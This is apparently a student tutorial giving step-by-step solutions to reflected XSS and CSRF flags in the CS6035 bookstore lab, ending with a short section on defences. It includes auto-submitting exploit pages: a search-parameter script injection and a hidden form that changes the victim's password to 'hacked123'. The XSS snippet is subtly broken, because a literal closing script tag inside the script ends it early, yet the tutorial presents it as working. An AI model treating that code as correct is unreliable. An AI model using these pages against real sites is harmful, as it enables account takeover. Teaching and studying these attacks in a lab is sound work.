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Mastering CSRF and Reflected XSS: A Hands-On Web Security Tutorial (Fall 2025)

Learn to exploit reflected XSS and CSRF vulnerabilities in a simulated bookstore app. Step-by-step guide with OWASP Top 10 techniques, perfect for CS6035 students.

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Introduction: Why Web Security Matters in 2026

In today's interconnected world, web security is more critical than ever. With the rise of AI-powered chatbots, cloud-based apps, and real-time collaboration tools, vulnerabilities like Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) remain top threats. The OWASP Top 10 list, updated regularly, highlights these as persistent dangers. Whether you're building the next viral social media platform or securing an e-commerce site, understanding these attacks is essential. This tutorial, inspired by the CS6035 Web Security Project, will guide you through exploiting reflected XSS and CSRF vulnerabilities in a simulated bookstore website. By the end, you'll be able to craft exploits that demonstrate real-world attack vectors.

Understanding Reflected XSS

Reflected XSS occurs when user input is immediately echoed back by the server without proper sanitization. Unlike stored XSS, the malicious payload doesn't persist; it's part of the request itself. Common targets include search fields, error messages, and URL parameters. For example, consider a search page that displays the user's query: <input type="text" name="q" value="your-query">. If the input isn't encoded, an attacker can inject <script>alert('XSS')</script> to execute JavaScript in the victim's browser.

Real-World Analogy: The Viral App Bug

Imagine a popular note-taking app that lets users search notes. A developer forgets to sanitize the search term, and a malicious user sends a link with a crafted search query. When a victim clicks it, the script steals their session cookie. This is exactly how many real-world XSS attacks work—like the 2025 TikTok vulnerability that allowed attackers to inject code via search parameters.

Exploiting Reflected XSS in the Bookstore

In the CS6035 project, you'll find a search page that reflects user input. To earn Flag 3, you need to display a JavaScript alert with the text 'CS6035'. Here's how:

  1. Identify the vulnerable parameter: Look for a URL like /search?q=test where 'test' appears on the page.
  2. Craft the payload: Use <script>alert('CS6035')</script> or an event handler like <img src=x onerror=alert('CS6035')> if script tags are blocked.
  3. Test locally: Create an HTML file that sends the malicious request. For example, a simple page with an iframe or form that auto-submits to the vulnerable URL.

Code Snippet: Reflected XSS Exploit

<!DOCTYPE html>
<html>
<body>
<script>
// Automatically navigate to the vulnerable page with payload
window.location = "http://bookstore/search?q=<script>alert('CS6035')</script>";
</script>
</body>
</html>

When the grader runs this file, it will trigger the alert on the search page, and the flag is yours.

Understanding CSRF

Cross-Site Request Forgery (CSRF) exploits the trust a site has in a user's browser. If a user is authenticated, an attacker can trick them into performing actions like changing passwords or transferring funds. The attack relies on the fact that cookies are automatically sent with requests. For example, a simple image tag <img src="http://bank.com/transfer?amount=1000&to=attacker"> can trigger a transfer if the user is logged in.

Trend Context: Gaming Account Takeovers

In 2025, a popular gaming platform suffered a CSRF attack where players accidentally changed their email via a malicious forum post. The post contained an invisible form that submitted to the account settings endpoint. This shows how CSRF can be devastating in social engineering campaigns.

Exploiting CSRF in the Bookstore

Flag 4 requires you to craft a CSRF attack that changes the user's password. The bookstore likely has a password change form. To exploit it:

  1. Identify the action: Look for a form that posts to /change-password with fields like new_password and confirm_password.
  2. Create a fake page: Host an HTML page that auto-submits a form to that endpoint with your chosen password.
  3. Deliver the exploit: The grader will simulate a victim visiting your page while authenticated.

Code Snippet: CSRF Exploit Page

<!DOCTYPE html>
<html>
<body>
<form id="csrf-form" action="http://bookstore/change-password" method="POST">
  <input type="hidden" name="new_password" value="hacked123">
  <input type="hidden" name="confirm_password" value="hacked123">
  <input type="submit" value="Click me">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>

When the victim loads this page, the form auto-submits, changing their password. The grader checks if the password change succeeds and returns the flag.

Defense Mechanisms: How to Protect Your Apps

Modern frameworks include built-in CSRF tokens and XSS filters. For example, Django and Rails automatically generate unique tokens per session. For XSS, always encode output and use Content Security Policy (CSP) headers. In 2026, AI-driven security tools can detect anomalous input patterns, but developers must still follow secure coding practices.

Key Takeaways for Students

  • Always sanitize input: Never trust user data. Use libraries like DOMPurify for HTML.
  • Implement CSRF tokens: Include a unique, unpredictable token in every form.
  • Use SameSite cookies: Set cookies with SameSite=Strict to prevent cross-site requests.
  • Stay updated: Follow OWASP Top 10 and patch known vulnerabilities.

Conclusion

Web security is a cat-and-mouse game. By understanding reflected XSS and CSRF, you're equipped to both attack and defend. The CS6035 project provides a safe environment to practice these skills. Remember, ethical hacking is about improving security, not causing harm. Use these techniques responsibly.